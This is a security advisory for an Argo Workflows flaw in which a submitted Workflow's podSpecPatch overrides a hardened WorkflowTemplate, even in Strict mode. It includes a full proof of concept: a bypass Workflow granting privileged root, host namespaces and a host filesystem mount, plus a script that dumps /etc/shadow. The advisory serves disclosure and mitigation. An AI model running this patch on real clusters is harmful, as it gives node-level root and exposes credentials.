Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.
## Summary
A user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.
## Details
Three issues combine to create this vulnerability:
1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.
2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.
3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.
## PoC
### Prerequisites
A local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).
#### 1. Create a kind cluster and install Argo Workflows
```bash
kind create cluster --name argo-poc
kubectl create namespace argo
kubectl apply -n argo --server-side \
-f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml
```
Note: `--server-side` is required because some CRDs exceed the client-side annotation size limit.
Wait for the controller to be ready:
```bash
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
```
#### 2. Enable `templateReferencing: Strict`
Patch the workflow controller configmap to enforce Strict mode:
```bash
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
-p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
```
Restart the controller to pick up the new config:
```bash
kubectl rollout restart deployment workflow-controller -n argo
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
```
#### 3. Verify Strict mode is active
Attempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:
```bash
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: strict-test-
spec:
entrypoint: test
templates:
- name: test
container:
image: alpine
command: [echo, "hello"]
EOF
```
The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:
```bash
STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)
kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}'
```
Expected output:
```
Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode
```
#### 4: Create a hardened WorkflowTemplate
An administrator creates a `WorkflowTemplate` with restrictive security settings:
```bash
cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: secure-template
namespace: argo
annotations:
description: "Admin-approved secure template with hardened security settings"
spec:
entrypoint: secure-task
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 1000
templates:
- name: secure-task
container:
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
echo "=== Security Context Check ==="
echo "Current UID: $(id -u)"
echo "Current GID: $(id -g)"
if cat /etc/shadow 2>/dev/null; then
echo "EXPLOITED: Can read /etc/shadow!"
else
echo "SECURE: Cannot read /etc/shadow"
fi
if ls /host/etc/passwd 2>/dev/null; then
echo "EXPLOITED: Host filesystem accessible!"
cat /host/etc/passwd | head -5
else
echo "SECURE: No host filesystem access"
fi
if [ "$(id -u)" = "0" ]; then
echo "EXPLOITED: Running as root!"
else
echo "SECURE: Running as non-root (UID: $(id -u))"
fi
echo "=== End Check ==="
securityContext:
runAsNonRoot: true
runAsUser: 1000
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
EOF
```
#### 5. Submit a legitimate Workflow (baseline)
Submit a Workflow that references the secure template without modification:
```bash
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: legit-use-
namespace: argo
spec:
workflowTemplateRef:
name: secure-template
EOF
```
Wait for completion and check logs:
```bash
LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)
kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main
```
Expected output (confirming the template's security settings are applied):
```
=== Security Context Check ===
Current UID: 1000
Current GID: 0
SECURE: Cannot read /etc/shadow
SECURE: No host filesystem access
SECURE: Running as non-root (UID: 1000)
=== End Check ===
```
#### 6. Submit the bypass Workflow
Submit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:
```bash
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: bypass-security-
namespace: argo
spec:
workflowTemplateRef:
name: secure-template
podSpecPatch: |
hostPID: true
hostNetwork: true
containers:
- name: main
securityContext:
privileged: true
runAsUser: 0
runAsNonRoot: false
allowPrivilegeEscalation: true
capabilities:
add:
- ALL
drop: []
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOF
```
Wait for completion and check logs:
```bash
BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)
kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main
```
Expected output (all security settings bypassed):
```
=== Security Context Check ===
Current UID: 0
Current GID: 0
root:*::0:::::
bin:!::0:::::
[... /etc/shadow contents dumped ...]
EXPLOITED: Can read /etc/shadow!
EXPLOITED: Host filesystem accessible!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[... host /etc/passwd contents ...]
EXPLOITED: Running as root!
=== End Check ===
```
The file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.
## Impact
The purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:
> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.
A user who can submit Workflows referencing approved templates can use `podSpecPatch` to:
- Run containers as root (`runAsUser: 0`)
- Enable privileged mode (`privileged: true`)
- Mount the host filesystem (`hostPath` volumes)
- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)
- Add all Linux capabilities (`capabilities.add: ["ALL"]`)
This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.
The `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.
## Mitigation
When `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.
Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.
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datePublished: Mar 11, 2026, 3:41:14 PM
dateUpdated: Jul 15, 2026, 1:08:46 AM
1 related source bulletins · separate from aliases
RHSA-2026:10184: Red Hat Security Advisory: RHOAI 2.25.5 - Red Hat OpenShift AI
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No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.